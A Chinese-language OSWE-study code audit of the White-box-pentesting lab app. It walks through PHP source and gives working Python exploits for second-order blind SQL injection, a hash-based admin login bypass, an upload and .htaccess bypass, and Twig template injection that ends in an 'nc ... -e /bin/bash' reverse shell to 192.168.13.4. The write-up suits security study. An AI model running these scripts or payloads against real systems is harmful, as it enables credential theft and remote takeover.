0%

WBP代码审计

备考OSWE,本次分析的代码是White-box-pentesting。涉及到三个漏洞,二阶盲注登录逻辑验证不当模版注入

首先访问网站,如下所示:

label

可以看到网站需要登录,我们暂时没有用户,尝试注册。注册的部分实现代码在trouble1_whiteBox/register.php

1
2
3
4
5
6
7
8
9
<?php
include("config.php");
session_start();

if($_SERVER["REQUEST_METHOD"] == "POST") {
// username and password sent from form
if(isset($_POST['register'])){
$myusername = mysqli_real_escape_string($db,$_POST['username']);
$mypassword = mysqli_real_escape_string($db,$_POST['form_password_hidden']);

可以发现对注册的用户名和密码适用mysqli_real_escape_string函数进行了过滤。

随便注册一个普通账户,登录之后发现会显示登录日志。

label

日志信息会更新存入数据库,然后是从数据库中获取的,更新日志代码实现在trouble1_whiteBox/user_log_update.php中,部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php  
include('session.php');


if(isset($login_session)) {

$date = date('m/d/Y h:i:s a', time());
$sql = "INSERT INTO user_log(username, login_date) values ('$login_session', '$date')";
$result = mysqli_query($db,$sql);
$row = mysqli_fetch_array($result,MYSQLI_ASSOC);

if($result == true){
header("location: welcome.php");
$log_update_msg = 'Log files updated';
}

}

如果这里的insert出现错误,则用户的信息不会被插入数据库。

显示日志代码实现在trouble1_whiteBox/user_log.php,部分代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($login_session)) {

$sql = "SELECT * FROM user_log WHERE username = '$login_session'";

$res=$db->query($sql);

$count = '1';

while($row = @mysqli_fetch_array($res))

{

echo $count.' '.'Username: '.$row["username"].' '.'Date: '. $row["login_date"].'<br>';

$count = $count + 1;

}
}

注意查询用户登录日志的时候,用户名使用的$login_session,这个变量是从数据里直接取出来的,虽然注册的用户名经过过滤,但是用户名中如果存在单引号会带入数据库中,如果后续从数据库中取出该用户名,没有过滤的话会引起注入。

查看trouble1_whiteBox/session.php文件实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include('config.php');
session_start();

$user_check = $_SESSION['login_user'];

$ses_sql = mysqli_query($db,"select username from users where username = '$user_check' ");

$row = mysqli_fetch_array($ses_sql,MYSQLI_ASSOC);


$login_session = $row['username'];



if(!isset($login_session)){
header("location: index.php");
}
?>

获取用户名存在问题,如果用户输入的用户名存在单引号等注入非法字符,会原封不动的从数据库里获取,这样$login_session就带入了单引号,在查询登录日志信息时会引起注入。

注册两个用户,分别是' or 1=1#' or 1=2#,登录之后,发现用户登录日志会不同,也就是说这里存在二阶盲注。

' or 1=1#登录后的日志信息截图如下:

label

' or 1=2#登录后的日志信息截图如下:

label

那么,就可以通过二阶盲注获取管理员用户和密码。具体代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import requests
import sys
import hashlib


def sha1(password):
m = hashlib.sha1()
m.update(password.encode("utf-8"))
return m.hexdigest()


def gen_hash(password, token):
m = hashlib.sha1()
m.update((password + token).encode("utf-8"))
return m.hexdigest()


def register(ip, inj_str):
for j in range(32, 126):
# Getting registered
target = "http://%s//register.php" % (ip)
password = 'password'
passhashed = sha1(password)
username = '%s' % (inj_str.replace("[CHAR]", str(j)))

data = {
"form_password_hidden": passhashed,
"username": username,
"password": "",
"register": 'submit'
}

r = requests.post(target, data=data, allow_redirects=True)

return True


# Logging in
def login(ip, inj_str):
for j in range(32, 126):
target = "http://%s/login.php" % (ip)
token = 'token'
password = 'password'
passhashed = sha1(password)
hashed = gen_hash(passhashed, token)
username = '%s' % (inj_str.replace("[CHAR]", str(j)))

data = {
"form_password_hidden": hashed,
"username": username,
"password": "",
"submit": 'submit',
"token": 'token'
}
s = requests.Session()
r = s.post(target, data=data)
res = r.text

if 'welcome' in res or 'Welcome' in res:

# open log files
target = "http://%s/user_log.php" % (ip)
r = s.get(target)
content_length = int(r.headers['Content-Length'])

if content_length > 344:
return j

return False


def inject(r, inj, ip):
extracted = ""
for k in range(1, r):

injection_string = "'or (ascii(substring(((%s)),%s,1)))=[CHAR]#" % (inj, k)
register(ip, injection_string)
retrieved_value = login(ip, injection_string)
if retrieved_value:
extracted += chr(retrieved_value)
extracted_char = chr(retrieved_value)
sys.stdout.write(extracted_char)
sys.stdout.flush()
else:
print("\n(+) done!")
break
return extracted


def main():
if len(sys.argv) != 2:
print("(+) usage: %s <target>" % sys.argv[0])
print('(+) eg: %s 192.168.1.100' % sys.argv[0])
sys.exit(-1)

ip = sys.argv[1]

print("(+) logging in")
print("(+) Retrieving username....")
query = "select username from admin where id=1"
username = inject(40, query, ip)
print("(+) Retrieving Password hash....")
query = 'select password from admin where username = \'%s\' limit 1' % (username)
password = inject(50, query, ip)
print("(+) Credentials: %s / %s" % (username, password))


if __name__ == "__main__":
main()

接下里看一下登录逻辑,trouble1_whiteBox/login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
include("config.php");

session_start();

if (isset($_POST['token']))

{

$_SESSION['token'] = $_POST['token'];

}

else{

if (!isset($_SESSION['token']))

$_SESSION['token'] = sha1(mt_rand() . microtime(TRUE));

}

if($_SERVER["REQUEST_METHOD"] == "POST") {


// username and password sent from form

if(isset($_POST['username'])){

$myusername = mysqli_real_escape_string($db,$_POST['username']);

$mypassword = mysqli_real_escape_string($db,$_POST['form_password_hidden']);

$passtoken = $_SESSION['token'];

$sql = "SELECT id FROM users WHERE username = '$myusername' and SHA1(CONCAT(password, '$passtoken'))='$mypassword'";

$result = mysqli_query($db,$sql);

$row = mysqli_fetch_array($result,MYSQLI_ASSOC);

$active = $row['active'];

$count = mysqli_num_rows($result);

// If result matched $myusername and $mypassword, table row must be 1 row

if($count == 1) {

$_SESSION['login_user'] = $myusername;
include('user_log_update.php');
header("location: welcome.php");

}else {

$error = "Your Login Name or Password is invalid";

}

}

}
?>

注意查询语句$sql = "SELECT id FROM users WHERE username = '$myusername' and SHA1(CONCAT(password, '$passtoken'))='$mypassword'";,我们在开始利用二阶忙注已经获取用户名和密码的hash,其中密码hash破解起来非常困难,在这里可以看到只要满足查询条件,即可登录用户成功。$mypassword$passtoken都是我们可以控制的,查询语句中的password我们已经通过注入获取到,查询语句的条件我们都可以让其满足,从而可以登录成功。

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import sys
import hashlib


def gen_hash(sha1password, token):
m = hashlib.sha1()
m.update(sha1password + token)
return m.hexdigest()


def login(ip, username, password):
target = "http://%s//login.php" % (ip)
token = 'token'
password = gen_hash(password, token)
data = {
"form_password_hidden": password,
"username": username,
"password": "",
"submit": 'submit',
"token": token
}
s = requests.Session()
r = s.post(target, data=data)
res = r.text

if 'welcome' in res or 'Welcome' in res:
print("(+) Login Successful")
print("(+) Login using hash was successful")
else:
print("(-) Login Failed")


def main():
if len(sys.argv) != 4:
print("(+) usage: %s <target> <username> <hash>" % sys.argv[0])
print('(+) eg: %s 192.168.1.100 test 6def5b004ce10c7667f82c776b1a0c75b599cdd8' % sys.argv[0])
sys.exit(-1)

ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
login(ip, username, password)


if __name__ == "__main__":
main()

登录admin后台之后,发现存在上传点,查看上传的实现代码trouble1_whiteBox/upload.php如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if(isset($_REQUEST['upload'])){

if($_FILES["file"]["error"])
{
header("Location: welcome.php");
die();
}

$notAllowed = array('php','php1','php2','php3','php4','php5','php6','php7','phtml','exe','html','cgi','asp','gif','jpeg','png','vb','inf');

$splitFileName = explode(".", $_FILES["file"]["name"]);

$fileExtension = end($splitFileName);


if(in_array($fileExtension, $notAllowed))
{
echo "Please upload a TEXT file";
}
else{

echo "Name: ".$_FILES["file"]["name"];
echo "<br>Size: ".$_FILES["file"]["size"];
echo "<br>Temp File: ".$_FILES["file"]["tmp_name"];
echo "<br>Type: ".$_FILES["file"]["type"];

move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/".$_FILES["file"]["name"]);
}

发现存在黑名单,显然可以绕过,如上传*.Php这样的文件即可,但是uploads目录下存在.htaccess文件,内容如下:

1
2
order deny, allow 
deny from all

如果可以上传文件覆盖.htaccess文件为如下内容:

1
SetHandler application/x-httpd-php

那么上传的任意文件都会被当作php脚本来执行。这样就可以绕过目录php代码执行的限制。

或者指定解析某种类型后缀的文件:

1
AddType application/x-httpd-php .abc

上面所示,任何以abc为后缀的文件都会当作php解析。

为了使目录下的.htaccess文件起作用,需要设置apache2.conf.htaccess不起作用的原因 ,通常是apache2.conf文件的AllowOverride设置有问题, 可能是AllowOverride None 造成的。把这个改为AllowOverride All即可。

除了有上传点,可以发现username那里存在模板注入,通过阅读源码trouble1_whiteBox/admin/welcome.php,部分代码如下:

1
2
3
4
5
6
7
8
9
  <div style="padding:10px;">
<form method='POST' action=''>
<div class="form-group">
<label>Search username</label><br>
<input style="width:200px" class="form-control" width="50%" placeholder="Enter username" name="name">
<br><br>
<div align="left" >
<button class="btn btn-default" type="submit" name='submit'>Submit Button</button>
<?php include ('vendor/twig.php')?>

twig.php看到这个文件,怀疑存在twig模板注入。查看twig.php具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if (isset($_REQUEST['submit'])) {
$name=$_POST['name'];
if (preg_match('/^[A-Za-z]{1}[A-Za-z0-9]{0,31}$/', $name)){
// include and register Twig auto-loader
include 'vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();
try {
// specify where to look for templates
$loader = new Twig_Loader_String();

// initialize Twig environment
$twig = new Twig_Environment($loader);
// set template variables
// render template
$result= $twig->render($name);
echo "<h2>Hello ". @$result ."</h2>";

} catch (Exception $e) {
die ('ERROR: ' . $e->getMessage());
}
}

}

?>

这里存在模板注入,可以简单测试,在username里输入49会得到结果49,如下所示:

label

这样就证明存在模板注入,查找twig模板注入payload,执行如下payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

显示用户的ID,以及所属群组的ID,要获取反弹shell只需替换如下payload中的reverse shell payload即可:

1
{{_self.env.registerUndefinedFilterCallback("exec")}{{_self.env.getFilter("reverse shell payload")}}

反弹shell的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def admin_login(ip, username, password):
target = "http://%s/admin/index.php" % (ip)
token = 'token'
password = gen_hash(password, token)
data = {
"form_password_hidden": password,
"username": username,
"password": "",
"submit": 'submit',
"token": token
}
s = requests.Session()
r = s.post(target, data=data)
res = r.text

if 'welcome' in res or 'Welcome' in res:
print("(+) Login Successful")
print("(+) Login using hash was successful")
else:
print("(-) Login Failed")

print("(+) Getting reverse shell")
target = "http://%s/admin/welcome.php" % (ip)
payload = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc %s %s -e ' \
'/bin/bash")}}' % ("192.168.13.4", "4444")
data = {
"name": payload,
"submit": 'submit',
}

_ = s.post(target, data=data)